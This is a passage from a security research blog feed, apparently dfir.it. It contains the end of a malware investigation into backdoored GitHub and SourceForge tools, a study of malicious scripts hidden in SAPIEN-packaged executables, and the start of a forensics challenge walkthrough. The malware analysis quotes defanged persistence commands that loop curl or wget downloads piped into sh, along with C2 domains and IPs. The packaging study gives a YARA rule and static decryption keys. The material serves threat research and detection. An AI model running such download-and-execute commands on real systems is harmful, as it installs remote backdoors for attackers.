<p>The code also created an additional launch agent called <code>SoftwareSync</code> set to execute the following command:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/bin/sh -c 'while true;do curl hxxp://eln.duckdns[.]org/se -o -|sh;sleep 60;done'</span></code></pre></td></tr></table></div></figure>


<h4>Windows</h4>

<p>The code dropped a JAR file (MD5: <code>9d4aeb737179995a397d675f41e5f97f</code>) to <code>%temp%\..\Microsoft\ExplorerSync.db</code> and established persistence by executing following command:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>schtasks /create /tn ExplorerSync /tr "javaw -jar %temp%\..\Microsoft\ExplorerSync.db" /sc MINUTE /f</span></code></pre></td></tr></table></div></figure>


<p>The dropped JAR file (MD5: <code>9d4aeb737179995a397d675f41e5f97f</code>) and Windows file and scheduled task names (<code>ExplorerSync.db</code>, <code>ExplorerSync</code>) were exactly the same as discovered in the modified JXplorer Tcl installer script. This created another plausible connection between the <a href="https://github.com/mansiiqkal/easymodbustcp-udp-java">mansiiqkal/easymodbustcp-udp-java</a> repository and modified Windows installer of JXplorer.</p>

<p>I also analyzed previous version of the <code>EasyModbusJava.jar</code> (MD5: <code>38f51f6555eba1f559b04e1311deee35</code>, <a href="https://www.virustotal.com/#/file/23a0a3af2c3a727ae5bf95c0a3d42e3f7ec5c466dd408bcbbbedf2aa4a5b9a5a">VT</a>) file committed to the <a href="https://github.com/mansiiqkal/easymodbustcp-udp-java">mansiiqkal/easymodbustcp-udp-java</a> repository on <a href="https://github.com/mansiiqkal/easymodbustcp-udp-java/commit/8ea457708eeeba4c0bfbdb755ea589b0451c4c9a.patch">2018-02-20</a>. It contained the same additional Java class however code was a bit different due to changes in an encrypted array and offsets referencing decrypted data. When decrypted the blob (3011 bytes long, MD5: <code>9a3936c820c88a16e22aaeb11b5ea0e7</code>, <a href="https://www.virustotal.com/#/file/9deebbfc461d09aa5999f74552ad843a335751725ed7fe015580209c91b040f1">VT</a>) contained mostly the same data as later version. The only notable difference was usage of <code>%APPDATA%</code> instead of <code>%TEMP%</code> as a base directory for location of dropped JAR file on a Windows systems.</p>

<h3>Summary</h3>

<p>By following breadcrumbs I was able to discover and draw connections between pieces of malware and online infrastructure:</p>

<ol>
<li><p>The <a href="https://www.virustotal.com/#/file/5e3bba9a94ff757400ce5a0f2a2a43076c515bc0e3728964b4f58f503ed9917c">modified JXplorer Windows installer</a> found on VirusTotal and modified EasyModbus Java library found on GitHub (<a href="https://github.com/mansiiqkal/easymodbustcp-udp-java">mansiiqkal/easymodbustcp-udp-java</a>) dropped the same JAR file (FEN downloader, MD5: <code>9d4aeb737179995a397d675f41e5f97f</code>). Further similarities were visible in the dropped file path (<code>%TEMP%\..\Microsoft\ExplorerSync.db</code>) and scheduled task name (<code>ExplorerSync</code>)</p></li>
<li><p>GitHub account <a href="https://github.com/mansiiqkal">mansiiqkal</a> was part of the same &ldquo;social circle&rdquo; as other GitHub accounts: <a href="https://github.com/ballory">ballory</a> and <a href="https://github.com/serkovs">serkovs</a>, among others. The accounts were linked by starring and subscribing to the same, confined set of GitHub repositories, including each other&rsquo;s repositories</p></li>
<li><p>GitHub account <a href="https://github.com/ballory">ballory</a> created the <a href="https://github.com/ballory/ffmpeg">ballory/ffmpeg</a> repository containing modified version of ffmpeg tools. Malicious code present in these tools was set to download a file from the following SourceForge project URL <code>hxxp://allesare.sourceforge[.]net/</code>. The project was owned by an account named <code>allare778</code> (Stein Sørnson). The same account owned another project named <a href="https://sourceforge.net/projects/supremebot/">supremebot</a>, hosting a sneaker bot with the same name (and described as &ldquo;Supreme New York Bot&rdquo;)</p></li>
<li><p>The <code>supremebot.jar</code> file (MD5: <code>2098d71cd1504c8be229f1f8feaa878b</code>) hosted by the SourceForge <a href="https://sourceforge.net/projects/supremebot/">supremebot</a> project was also present in the <a href="https://github.com/steisn/blazebot">steisn/blazebot</a> GitHub repository belonging to the account <a href="https://github.com/steisn">steisn</a> (Stein Sørnson). Additionally the YouTube account <a href="https://www.youtube.com/channel/UCiNWIOMXfaG3X1SjAWa34Ag">Stein Sørnson</a> hosted a <a href="https://www.youtube.com/watch?v=XewdaL3UuEw">video</a> about &ldquo;Blaze Bot Supreme NYC&rdquo;. Coincidentally, the malicious code present in the modified JXplorer Windows installer referenced &ldquo;blazebot&rdquo; and <code>supremenewyork[.]com</code></p></li>
<li><p>GitHub account <a href="https://github.com/serkovs">serkovs</a> created the <a href="https://github.com/serkovs/jxplorer">serkovs/jxplorer</a> repository containing modified JXplorer Linux installer file. While the malicious code present in the binary did not reference any previously observed infrastructure both modified JXplorer installers (for Windows and Linux) could be connected by following linked GitHub accounts (see point 1.)</p></li>
</ol>


<h3>Is this the end?</h3>

<p>Let&rsquo;s find out! Following up on specific indicators found in analyzed files and collected metadata about GitHub repositories I was able to discover additional related pieces of malicious code.</p>

<p>I started with VirusTotal hunting capabilities - the search returned a set of binaries belonging to the same malware family: Eimea Lite App. The functionality and supported commands of this malware seems to be closely tied with previously discussed FEimea Portable App. The main difference is that while FEimea Portable App is written in Java, the Eimea Lite App comes in the form of compiled binaries for both Windows and Linux operating systems. Each observed instance of Eimea Lite App was built into the <a href="http://lame.sourceforge.net/">LAME</a> encoder tool, likely in order to thwart detection.</p>

<p>One of the oldest samples uploaded to VirusTotal on 2017-08-26 was (unsurprisingly) named <code>supreme_bot2.cpl</code> (MD5: <code>815db0de2c6a610797c6735511eaaaf9</code>, <a href="https://www.virustotal.com/#/file/03722893c4990e0233c464e709943fb929b5cc70920c76b84a75f730f052f563">VT</a>). The sample uses two command and control servers: <code>sanemarine.duckdns[.]org</code>, <code>lemonade.freeddns[.]org</code>; contains two self signed certificates issued for <code>Allesare Ltd.</code> and supports similar set of commands as Java based FEimea Portable App:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>CAPABILITY EIAPrev1.33 EAUTH SELECT EXAMINE STATUS PWD LIST STAT SEARCH ESEARCH RENAME HASH FETCH COPY APPEND LINK SYMLINK REMOVE ACCESS NOOP LOGOUT</span></code></pre></td></tr></table></div></figure>


<p>The most recent sample <code>Aero.cpl</code> (MD5: <code>dd3a38ee6b5b6340acd3bb8099f928a8</code>, <a href="https://www.virustotal.com/#/file/b935aaa10a5b53184f33dfbc7f0314fd0ee11fb740711ce93b5a1c51d8fa1153">VT</a>) was uploaded to VirusTotal on 2018-11-25, which correlates with version string present in the file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Eimea Lite app - ver. 3.11  Mainline
</span><span class='line'>Audio system : IMM Framework
</span><span class='line'>Audio codecs : pcm lame-mp3 opencore-amrnb soxr
</span><span class='line'>Build Nov 25 2018 11:54:25  Win32</span></code></pre></td></tr></table></div></figure>


<p>This instance uses the same command and control servers that were observed in initially analyzed sample of the FEimea Portable App (MD5: <code>65579b8ed47ca163fae2b3dffd8b4d5a</code>): <code>limons.duckdns[.]org</code> and <code>polarbear.freeddns[.]org</code>.</p>

<p>My other search focused on further exploration of the GitHub graph. I previously mentioned that suspicious GitHub accounts and repositories created a confined network - however the graph also included entries that seemed to be a bit off.</p>

<p>One of these entries was an account of Andrew Dunkins (<a href="https://github.com/adunkins">adunkins</a> [<a href="https://web.archive.org/web/20190221210742/https://github.com/adunkins">Wayback Machine copy</a>]), that included a set of nine repositories, each hosting Linux cross compilation tools. Each repository was watched or starred by several already known suspicious accounts.</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/github_adunkins.png" title="GitHub - adunkins" alt="GitHub - adunkins"></p>

<p>The account seemed to be legitimate at first sight - it included a profile picture and description, which was not consistent with previously discovered accounts. However a look at a sample ELF binary (<code>i686-w64-mingw32-addr2line</code>, MD5: <code>b54156221d1c5387b8de0eb4605dc3a0</code>, <a href="https://www.virustotal.com/#/file/6240dcb817db34996360a074a530318c0d6521d7b9cf324da2eff7ad5cbbc250/">VT</a>) hosted in one of the repositories quickly proved I was wrong. At the end of the binary there was a shellcode, almost identical to the one found in the ffmpeg binaries obtained from the <a href="https://github.com/ballory/ffmpeg">ballory/ffmpeg</a> repository. The only difference was that shellcode was set to execute the following command:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/bin/sh -c cd /home/`whoami`/.config;mkdir autostart;cd autostart;&gt;y echo [Desktop Entry];&gt;&gt;y echo Type=Application;&gt;&gt;y echo Exec=/bin/sh -c "'while true;do wget hxxp://allesare.sourceforge[.]net/test/msg -O -|sh;sleep 60;done'";chmod 755 y;mv y .desktop</span></code></pre></td></tr></table></div></figure>


<p>Overall there were 305 backdoored ELF binaries in nine GitHub repositories belonging to Andrew Dunkins.</p>

<p>Following that trail I found one additional account (<a href="https://github.com/snacknroll11">snacknroll11</a>) that starred some of Andrew Dunkins&#8217; repositories and that contained a repository with interesting name and description (<a href="https://github.com/snacknroll11/streettalk_priv_bot">streettalk_priv_bot - Supreme Bot</a> [<a href="https://web.archive.org/web/20190221210443/https://github.com/snacknroll11/streettalk_priv_bot">Wayback Machine copy</a>]).</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/github_snacknroll11.png" title="GitHub - snacknroll11" alt="GitHub - snacknroll11"></p>

<p>Despite the name and description of the binary, the file included in that repository (<code>supremebot.exe</code>) turned out to be something else - something that I have seen previously and something that provided a great closure for this post.</p>

<p>The file <code>supremebot.exe</code> (MD5: <code>6ee28018e7d31aef0b4fd6940dff1d0a</code>, <a href="https://www.virustotal.com/#/file/c0313523c28288d01ba52289680b2405c1005ee7bbd0143cf116b0263245d8ba">VT</a>) was actually another modified version of JXplorer 3.3.1.2 installer for Windows. The installer also contained changed <code>http-2.7.9.tm</code> file (MD5: <code>3a75c6b9b8452587b9e809aaaf2ee8c4</code>, <a href="https://www.virustotal.com/#/file/6df26713ba5da9394db23c1d6d4b5ccd124997ebd0bfd59d1a127295c2961f81">VT</a>) however some actions performed by the Tcl script were slightly different from the initially analyzed version:</p>

<ul>
<li>It used BITSAdmin and PowerShell to download and execute a batch script from <code>hxxp://enl.duckdns[.]org</code></li>
<li>It dropped a JAR file (MD5: <code>d7c4a1d4f75045a2a1e324ae5114ea17</code>, <a href="https://www.virustotal.com/#/file/210d12b9fcead69094ca2046c55333c121451f7eec782dd42e220ff11fe7d349">VT</a>) to <code>BR.jar</code>. The JAR file was another version of previously described JDL downloader</li>
</ul>


<p>So is this the end? I don&rsquo;t think so :-)</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/sourceforge_allesare_test.png" title="SourceForge - allesare" alt="SourceForge - allesare"></p>

<h3>Appendix</h3>

<p><strong><em>Please note that GitHub has now removed identified accounts and repositories</em></strong>. Copies of the repositories showing their content are available via <a href="https://web.archive.org/">Wayback Machine</a>. Where possible I included links to Wayback Machine copies in the above post.</p>

<p><a href="https://github.com/dfir-it/supreme-backdoor-factory/blob/master/github_accounts.txt">List of GitHub accounts</a></p>

<p><a href="https://github.com/dfir-it/supreme-backdoor-factory/blob/master/github_repositories.txt">List of GitHub repositories</a></p>

<p><a href="https://github.com/dfir-it/supreme-backdoor-factory/blob/master/iocs.csv">List of indicators</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Down the rabbit hole with packaged PowerShell scripts]]></title>
    <link href="http://dfir.it/blog/2018/05/08/down-the-rabbit-hole-with-packaged-powershell-scripts/"/>
    <updated>2018-05-08T16:55:39+02:00</updated>
    <id>http://dfir.it/blog/2018/05/08/down-the-rabbit-hole-with-packaged-powershell-scripts</id>
    <content type="html"><![CDATA[<p>Several weeks ago, during one of the investigations, I needed to triage a few potentially malicious Windows executables. One of them caught my attention - a .NET binary located in a seemingly legitimate subdirectory under <em>Program Files</em>. At the same time the file was obfuscated (based on a quick look at <a href="https://github.com/fireeye/flare-floss">FLOSS</a> output) and according to <a href="https://www.virustotal.com/">VirusTotal</a> it was detected as &ldquo;potentially malicious&rdquo; by several antivirus products. Well, I thought, even if the file turns out to be non-malicious, there must be a reason for it to be obfuscated. Oh boy, how little did I know&hellip;</p>

<!--more-->


<h3>(Re)discovery</h3>

<p>I opened the file in <a href="https://github.com/0xd4d/dnSpy">dnSpy</a> and immediately encountered first obstacle - code was obfuscated with <a href="https://www.red-gate.com/products/dotnet-development/smartassembly/">SmartAssembly</a>. Fortunately, <a href="https://github.com/0xd4d/de4dot">de4dot</a> did all the dirty work for me and within seconds I was left with a compact code consisting of several classes. I quickly located main part of the program and realized that I am likely dealing with some kind of loader – part of the code was responsible for reading, decrypting and parsing data from two <code>RT_RCDATA</code> resources.</p>

<p>After poking around a little bit more I found a method that was responsible for creating a new PowerShell runspace and executing PowerShell code retrieved from a previously decrypted resource. I was aware of the tools like <a href="https://github.com/Cn33liz/p0wnedShell">p0wnedShell</a> making use of exactly same method to &ldquo;<em>execute PowerShell code without running powershell.exe</em>&rdquo; so I thought that I am finally onto something.</p>

<p>At this stage, I just wanted to get my hands on a decrypted PowerShell code as fast as possible. Using <a href="http://www.ntcore.com/exsuite.php">CFF Explorer</a> I exported <code>RT_RCDATA</code> resource content to a file. Then I copied C# code responsible for decryption from dnSpy window and pasted it to <a href="https://www.linqpad.net/">LINQPad</a>. I also needed to make a few small adjustments to the original code to read the content of the resource from a file and pass it to decryption function.</p>

<p><img class="center" src="http://dfir.it/images/down-the-rabbit-hole/linqpad.png" title="LINQPad" alt="LINQPad"></p>

<p>The code worked well but what I got back was not exactly what I expected. It was still a PowerShell code but it did not look like <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1">Invoke-Mimikatz</a> or other offensive module that I knew of. Instead, I was looking at a rather ordinary script written by someone to manage software and patch installation on the workstations. All that effort for nothing? What a disappointment!</p>

<p>One last thing I wanted to figure out was the reason why someone made an effort to package a simple PowerShell script in this way. Was it a custom made packer? Or maybe the file was generated by some tool that I was not aware of?</p>

<p>I took a bunch of unique strings from the analyzed binary and fired up my favorite search engine. I quickly realized that analyzed binary was likely generated using <a href="https://www.sapien.com/blog/2016/10/24/sapien-script-packager-updates-and-new-features/">SAPIEN Script Packager</a> - available in products like <a href="https://www.sapien.com/software/powershell_studio">PowerShell Studio</a> or <a href="https://www.sapien.com/software/primalscript">PrimalScript</a>. Following this path I also found out that I was not the only one to encounter scripts packaged this way:</p>

<ul>
<li>Back in 2012 <a href="https://twitter.com/mattifestation">@mattifestation</a> <a href="http://www.exploit-monday.com/2012/05/extracting-hard-coded-credentials-using.html">presented</a> how to dynamically extract script content from binaries generated by SAPIEN PrimalScript</li>
<li>Last year <a href="https://www.twitter.com/RemkoWeijnen">@RemkoWeijnen</a> <a href="https://www.remkoweijnen.nl/blog/2017/03/13/convert-executable-powershell/">released ExeToPosh</a> - a tool to statically extract script content from binaries created by SAPIEN PowerShell Studio</li>
</ul>


<p>That&rsquo;s all sorted out then, my investigation was over – or maybe not?</p>

<h3>Nothing is lost&hellip;</h3>

<p>Judging by the fair amount of posts on the <a href="https://www.sapien.com/forums/">SAPIEN Forums</a> their products seem to be quite popular among developers and administrators. Following my &ldquo;failed&rdquo; investigation I started wondering if they are also popular among malware creators? Let&rsquo;s take a brief look at some of the SAPIEN Script Packager capabilities:</p>

<ul>
<li>It allows PowerShell script to be encrypted, embedded into executable as a resource and later executed within PowerShell runspace (do you recall <a href="https://github.com/Cn33liz/p0wnedShell">p0wnedShell</a>?)</li>
<li>Generated executable can enforce execution restrictions and allow embedded script to be executed only by defined users or on hosts with specified hostnames, assigned MAC addresses or AD domains</li>
<li>Packages generated with <a href="https://www.sapien.com/blog/2017/02/28/powershell-studio-2017-service-release-v5-4-136/">newer versions of PowerShell Studio</a> or PrimalScript can stop execution when PowerShell Script Block logging is enabled or disable it for the time of execution. Since version <a href="https://www.sapien.com/blog/2017/09/21/powershell-studio-2017-service-release-v5-4-144/">5.4.144</a> of PowerShell Studio also Transcription logging can be disabled</li>
<li>Packaged script can be also executed within the security context of another user (by using &ldquo;Alternate credentials&rdquo; option). <a href="https://info.sapien.com/index.php/packaging-deployment/from-regular-user-to-elevated-administrator">&ldquo;When selecting RunAs or Impersonation, the specified credentials are stored inside the packaged executable. They are of course stored encrypted.&rdquo;</a> - we&rsquo;ll get back to this later</li>
</ul>


<p>On top of that, the SAPIEN PrimalScript script packager supports many more &ldquo;engines&rdquo;, allowing users to package not only PowerShell scripts but also:</p>

<ul>
<li>VBScript and JScript (via WScript/CScript)</li>
<li>HTA (via MSHTA)</li>
<li>CMD and Batch (via CMD)</li>
<li>Windows Script Host scripts</li>
</ul>


<h3>Game Plan</h3>

<p>After learning about all these features I was almost sure that there must be some malicious PowerShell scripts packaged this way (spoiler: I was not wrong). I came up with this simple plan:</p>

<ol>
<li>Collect as many samples as possible</li>
<li>Use ExeToPosh to extract scripts</li>
<li>Analyze extracted scripts</li>
</ol>


<p>First step went smoothly thanks to <a href="https://www.virustotal.com/#/hunting-overview">Malware Hunting</a> capabilities offered by VirusTotal. I initially created a really basic YARA rule for Retrohunt which resulted in  approximately 230 samples and additionally gave me steady influx of 1-3 samples per day when applied to newly uploaded files.</p>

<figure class='code'><figcaption><span>Initial YARA rule used to match executables generated by SAPIEN Script Packager </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>rule sapien
</span><span class='line'>{
</span><span class='line'>    strings:
</span><span class='line'>        $sapien = "SAPIEN PowerShell" wide
</span><span class='line'>        $posh = "PoshExe" ascii
</span><span class='line'>    condition:
</span><span class='line'>        uint16(0) == 0x5A4D and all of them
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>The second step was when things started going south. While ExeToPosh worked really well for some of the collected samples it failed to extract data from the rest of the files. I did not want to reverse SAPIEN&rsquo;s products (the license explicitly prohibits it anyway) so I ended up analyzing 20 or so samples. After several long evenings I knew exactly what was wrong. The files were generated by a different versions of Script Packager - and while mechanics did not change much between versions it was the small things that made a difference.</p>

<p>Here is what I learned about collected executables generated by SAPIEN&rsquo;s Script Packager:</p>

<ul>
<li>Samples were both native PE executables and .NET managed assemblies</li>
<li>Older samples (based on compile timestamp) were not obfuscated. With few exceptions all .NET samples were obfuscated with SmartAssembly</li>
<li><p>Up to four <code>RT_RCDATA</code> binary resources were included in generated executables:</p>

<ul>
<li>Resource ID 1 - &ldquo;configuration&rdquo;: stored a binary structure defining runtime settings for the script and the associated files. This resource seemed to be mandatory and was present in every analyzed sample. If &ldquo;Alternate credentials&rdquo; option was used credentials were stored in two separate fields: username as clear text string and password blob encrypted with the &ldquo;configuration key&rdquo;</li>
<li>Resource ID 2 - &ldquo;library files&rdquo;: stored a structure containing WSC/COM objects. The objects were sometimes compressed (ZIP) before being placed in the structure, finally the whole structure was encrypted with the &ldquo;data key&rdquo;. This resource seemed to be optional</li>
<li>Resource ID 3 - &ldquo;data files&rdquo;: stored arbitrary files needed by the script. Data in this resource was organized the same way as &ldquo;library files&rdquo;. This resource seemed to be optional</li>
<li>Resource ID 4 - &ldquo;script&rdquo;: stored packaged script. Script was encrypted with the &ldquo;data key&rdquo;. Some scripts were also compressed (ZIP) before being encrypted. This resource seemed to be mandatory and was present in every analyzed sample</li>
</ul>
</li>
<li><p>Majority of analyzed samples implemented two decryption schemes: AES and what was internally called &ldquo;simple decode&rdquo;. AES, however, seems to be available only in the &ldquo;<a href="https://www.sapien.com/forums/viewtopic.php?t=11191">high encryption pack</a>&rdquo; and I have not seen any sample making any use of it</p></li>
<li>Decryption key pairs were constant among samples and were included as clear text strings in generated executables. Older samples used following static key pair: <code>foobar</code> and <code>hsdiafwiuera</code> (&ldquo;configuration key&rdquo; and &ldquo;data key&rdquo; respectively).  Newer samples (starting around release of PowerShell Studio 5.4.138) used the following static key pair: <code>073E77D0D536421AA25BF60B16746B88</code> and <code>BC373ACA27924EBEA29D2A22E348ACB4</code></li>
<li>There were at least six different versions of configuration structures - starting with oldest and shortest (800 bytes) and ending with newest and longest (5236 bytes). Each new version introduced new fields or changes in the field format (e.g. character encoding)</li>
<li>Some fields present in the configuration structure were not always used by the loader at runtime. Taking this into account it is not always possible to tell if a given option is used without fully reverse engineering specific sample</li>
<li>Based on additional strings included in extracted scripts, collected samples were created by a range of products: starting with quite dated PrimalScript 2009 and ending with most recent PowerShell Studio 2018 5.5.150 and PrimalScript 2018 7.4.112</li>
</ul>


<p>In order to facilitate all of the above options and to speed up the analysis of several hundred samples I decided to create my own tool to statically analyze and extract embedded data. You can find the script on <a href="https://github.com/dfir-it/unsapien">Github</a>. It works well for samples that I have collected but taking into account the variety of Script Packager versions and packaging options it may fail miserably in certain situations.</p>

<p>After running all collected samples through my script I ended up with a log file containing more than one million lines of scripts (mostly PowerShell) and metadata.</p>

<h3>&hellip;Everything is forgotten (Unless you upload it to VirusTotal)</h3>

<p>When I started going through extracted data I was a little bit baffled - I expected to find relatively large number of malicious scripts (after all I sourced all samples from VirusTotal). Out of 250 analyzed samples only approximately 20% turned out to be malicious:</p>

<ul>
<li>45 instances of <code>fontdrvhost.ps1</code> - a PowerShell downloader and management script for cryptocurrency miners (e.g. <a href="https://www.hybrid-analysis.com/sample/c372945f4ed8951bd3a768e84cd646ff1ed83482faac73af7a4619321224eb7d?environmentId=120">Hybrid Analysis</a>, <a href="https://www.virustotal.com/#/file/c372945f4ed8951bd3a768e84cd646ff1ed83482faac73af7a4619321224eb7d/details">VirusTotal</a>, <a href="https://pastebin.com/JNURbqi8">extracted script</a>). Interestingly majority of samples contained configuration (e.g. proxy servers) for specific AD domains. All collected samples used <code>msupdate[.]info</code> for C2</li>
<li>Test PowerShell Empire stager <code>TrashPayloadMVEC.ps1</code> (<a href="https://www.virustotal.com/#/file/fd96cc03a0e98dee10eb082000842c2640f4fafb86f62ad04a9f26796c0d3d58/details">VirusTotal</a>, <a href="https://pastebin.com/4NRY5Z26">extracted script</a>)</li>
<li>Test PowerShell Empire stager <code>LabTestHttp.ps1</code> (<a href="https://www.virustotal.com/#/file/8197cbc3b58027122f9de6d17feb004cb671ba9d35c0a157e8cfd86f37360e60/details">VirusTotal</a>, <a href="https://pastebin.com/8nshvCNM">extracted script</a>)</li>
<li>Cobalt Strike Beacon loader <code>amazon_64.ps1</code> - set to communicate with <code>144.208.127.168:443</code> (<a href="https://censys.io/ipv4/144.208.127.168">Censys</a>). It was one of the few observed samples that made use of execution restrictions - in this case only SYSTEM user was allowed to run the script (<a href="https://www.virustotal.com/#/file/42441fcc6b42a87358cc38be603d35fbdd575bce91688923de20540a6fefb9cd/details">VirusTotal</a>, <a href="https://pastebin.com/FXVLga6G">extracted script</a>)</li>
<li>PowerShell loader for mimikatz <code>GardeRat.ps1</code> (<a href="https://www.virustotal.com/#/file/a26ff81f4dccd641941ac5b7d06e4728fba095569fdca9a61d57bf18f04236e4/details">VirusTotal</a>, <a href="https://pastebin.com/mcR4yFzL">extracted script</a>)</li>
<li>Shellcode loader - likely Cobalt Strike stager set to communicate with <code>192.10.22.35:443</code> (<a href="https://www.virustotal.com/#/file/daeab7ae58cd68edd65c554f6fed72ef579e4511c23df744a046e8e694b54ac7/details">VirusTotal</a>, <a href="https://pastebin.com/N7vLZni4">extracted script</a>)</li>
</ul>


<p>At the time of writing only packaged versions of <code>fontdrvhost.ps1</code> had a decent amount of AV detections. Rest of the files listed above were ignored by majority of AV engines.</p>

<p>That would be it for malicious scripts. So what made remaining 80% of the  extracted files - or rather what interesting data was included there? This part turned out to be a real treasure trove of this small research project. Let&rsquo;s start with some statistics (based on approximately 210 non-malicious samples):</p>

<ul>
<li>Only 4 of them were signed</li>
<li>Approximately 40 samples had more than five AV engine detections according to VirusTotal. As far as I can tell this is a threshold where VirusTotal will remove a sample on your request only if you make (false) detections disappear by contacting each AV vendor. This point may be important because:</li>
<li>10 samples made use of the &ldquo;Alternate credentials&rdquo; where credentials for RunAs/Impersonate option are placed in the configuration resource. The list of collected credentials included such accounts as: <code>administrator</code>, <code>fulladmin</code> or <code>sccm_services</code></li>
<li><p>Another 30 extracted scripts included one or more secrets, for example:</p>

<ul>
<li>Numerous invocations of <code>net user</code> and <code>Set-ADAccountPassword</code> including clear text passwords</li>
<li>Several sets of credentials for FTP accounts</li>
<li>Several sets of credentials for SQL databases</li>
<li>Several sets of credentials for SCCM service accounts</li>
<li>Malwarebytes Premium license keys</li>
<li>Username and password for <code>outlook.com</code> account</li>
<li>TeamViewer API tokens</li>
</ul>
</li>
<li><p>The same amount of scripts exposed potentially sensitive data such as internal hostnames, URLs or usernames</p></li>
<li>About 60 extracted scripts included a header exposing organization name and (user)name of script developer. List of companies included known network security vendors, health care, hospitality and entertainment providers</li>
<li>Plenty of extracted scripts fell into &ldquo;IT management&rdquo; category exposing how different organizations perform endpoint, user and email accounts management, software deployment or IT monitoring</li>
</ul>


<p>Looking at above points it is clear that majority of these scripts were meant to remain internal to organizations in which they were developed. Unfortunately, the way how scripts are packaged does not seem to make things any better. I can see how a .NET binary obfuscated with SmartAssembly, containing <code>IsDebuggerPresent</code> string and decrypting data from its resource section during runtime can end up with a generic detections by multiple AV engines. Then it is just a short path to situation when someone uploads such &lsquo;flagged&rsquo; binary to VirusTotal or one of the many online sandboxes.</p>

<p>It seems to make perfect sense to start monitoring networks and endpoints for presence of executables generated by SAPIEN Script Packager - both for malware detection and prevention of leakage of potentially sensitive data. It is worth noting that there are also other tools that can be used to package PowerShell scripts in a similar way: <a href="http://www.powertheshell.com/isesteroids/">ISESteroids</a>, <a href="https://github.com/pemo11/Posh2Exe">Posh2Exe</a>, <a href="https://poshtools.com/docs/posh-pro-tools/pspack-exe/">PowerShell Pro Tools PSPack.exe</a>.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[TekDefense Network Challenge 001 - Walkthrough]]></title>
    <link href="http://dfir.it/blog/2017/03/29/tekdefense-network-challenge-001-walkthrough/"/>
    <updated>2017-03-29T21:58:51+02:00</updated>
    <id>http://dfir.it/blog/2017/03/29/tekdefense-network-challenge-001-walkthrough</id>
    <content type="html"><![CDATA[<p>Sometime around mid-September (of the last year!) I was tipped off about a new network forensics challenge created by <a href="https://twitter.com/tekdefense">@TekDefense</a> and published on his <a href="http://www.tekdefense.com/news/2016/9/16/network-challenge-001-linux.html">blog</a>. I was all up for the challenge but I did not have much time back then. Finally, I managed to spend a few evenings just before the due date to perform my analysis of the provided <a href="https://www.tekdefense.com/downloads/pcaps/NetChallenge_Linux.zip">PCAP</a> and document my findings.</p>

<p><strong>Warning:</strong> Spoilers ahead! If you did not take the challenge yet, consider going back and trying to solve it by yourself!</p>

<!--more-->


<p>To my big surprise my write-up was awarded first place. <a href="https://twitter.com/tekdefense">@TekDefense</a> posted it in <a href="http://www.tekdefense.com/news/2016/10/3/network-challenge-001-solution.html">this</a> blog post. Make sure to also check out <a href="https://twitter.com/CYINT_dude">@CYINT_dude</a>&rsquo;s <a href="http://www.cyintanalysis.com/tekdefense-pcap-challenge-write-up/">write-up</a> which took second place. With all that I decided to write a short follow-up, presenting how I performed my analysis and how I came to final conclusions.</p>

<p>Before we start please remember that:</p>

<ul>
<li>This walkthrough and my original solution are by no means complete and probably do not tell the whole story.</li>
<li>I am not going to present any novel analysis techniques here. I basically followed the bottom-up principle - started with the initial alert and built the story as I was going through related events.</li>
<li>As always - there is more than one way to skin a cat. I would be happy to learn about different or better ways to process challenge data, correlate events, analyze files, identify indicators and write detection rules.</li>
</ul>


<h3>Toolbox</h3>

<p>First things first. Let&rsquo;s go briefly through tools I used to analyze the PCAP, develop detection rules, create a timeline and final report:</p>

<ul>
<li><a href="https://www.wireshark.org">Wireshark/tshark</a></li>
<li><a href="https://sourceforge.net/projects/fakenet/">FakeNet</a></li>
<li><a href="https://www.snort.org">Snort</a></li>
<li><a href="http://virustotal.github.io/yara">YARA</a></li>
<li><a href="https://products.office.com/en-ie/excel">Microsoft Excel</a></li>
<li><a href="http://25.io/mou/">Mou</a></li>
<li>Usual command line utilities: <em>sort</em>, <em>uniq</em>, <em>wc</em>, <em>cut</em>, <em>strings</em>, <em>file</em></li>
</ul>


<p>In addition to above-mentioned, I used a locked-down virtual machine running <a href="https://www.kali.org">Kali Linux</a> to execute suspicious ELF binaries.</p>

<p>It is also important to mention online resources and OSINT tools that were crucial for me to get additional context or better understanding of files, malware and indicators I encountered during investigation:</p>

<ul>
<li><a href="https://www.virustotal.com">VirusTotal</a></li>
<li><a href="https://www.domaintools.com">DomainTools</a></li>
<li><a href="https://www.passivetotal.org">PassiveTotal</a></li>
<li><a href="http://www.malwaremustdie.org">MalwareMustDie</a></li>
<li><a href="https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf">Akamai - Threat Advisory: &ldquo;BillGates&rdquo; Botnet</a></li>
<li><a href="http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf">Novetta - The Elastic Botnet Report</a></li>
</ul>


<h3>Reconnaissance</h3>

